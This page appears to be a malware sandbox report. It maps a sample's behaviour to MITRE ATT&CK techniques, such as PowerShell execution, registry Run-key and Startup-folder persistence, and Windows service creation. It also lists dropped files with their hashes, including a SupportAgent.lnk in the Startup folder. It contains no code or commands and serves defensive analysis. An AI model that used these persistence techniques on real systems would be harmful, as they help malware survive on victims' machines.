MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SupportAgent.lnk

Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk
Size 1KB
SHA256 bb7395cc949d17721bcfc462e133c9c121baebcde4bbc768b341a9f5113b81b2
MD5 95a15864bd9b17e9084824797878e1e7
SHA1 f2cf1f2e4ea885047177d237c71e4fcb7045bb90
SHA512 8da28ee1c64f4a7340eed2a1b954323c397da2d95f84b368f7957e2c95cf44ba3105efc6424ca45014b73de2d8da358cba919f94a0811a7b3da04a77a0361c13
TLSH
T17531CB1D4AE61F76F2B39935A8F363179961B9A476415F4E02C0538D1C20B41B859F1D
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download